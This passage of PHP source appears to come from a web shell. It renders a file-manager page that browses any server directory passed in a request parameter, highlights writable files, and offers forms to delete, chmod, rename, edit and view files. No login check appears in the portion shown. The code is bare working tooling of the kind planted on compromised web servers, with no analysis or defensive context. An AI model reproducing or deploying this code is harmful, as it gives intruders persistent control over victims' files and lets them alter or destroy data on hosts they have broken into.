echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center><font size="2px">Name</font></peller></center></td>
<td><center><font size="2px">Size</font></peller></center></td>
<td><center><font size="2px">Permission</font></peller></center></td>
<td><center><font size="2px">Modify</peller></font></center></td>
</tr>
<tr class="first"><td></td><td></td><td></td><td></td></tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><font size="2px"><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></font></td>
<td><font size="2px"><center>--</center></font></td>
<td><font size="2px"><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</font></center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr>
<td><font size="2px"><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></font></td>
<td><font size="2px"><center>'.$size.'</center></font></td>
<td><font size="2px"><center>';
if(is_writable($path.'/'.$file)) echo '<font color="lime">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</font></center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '
</body>
</html>';
}
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>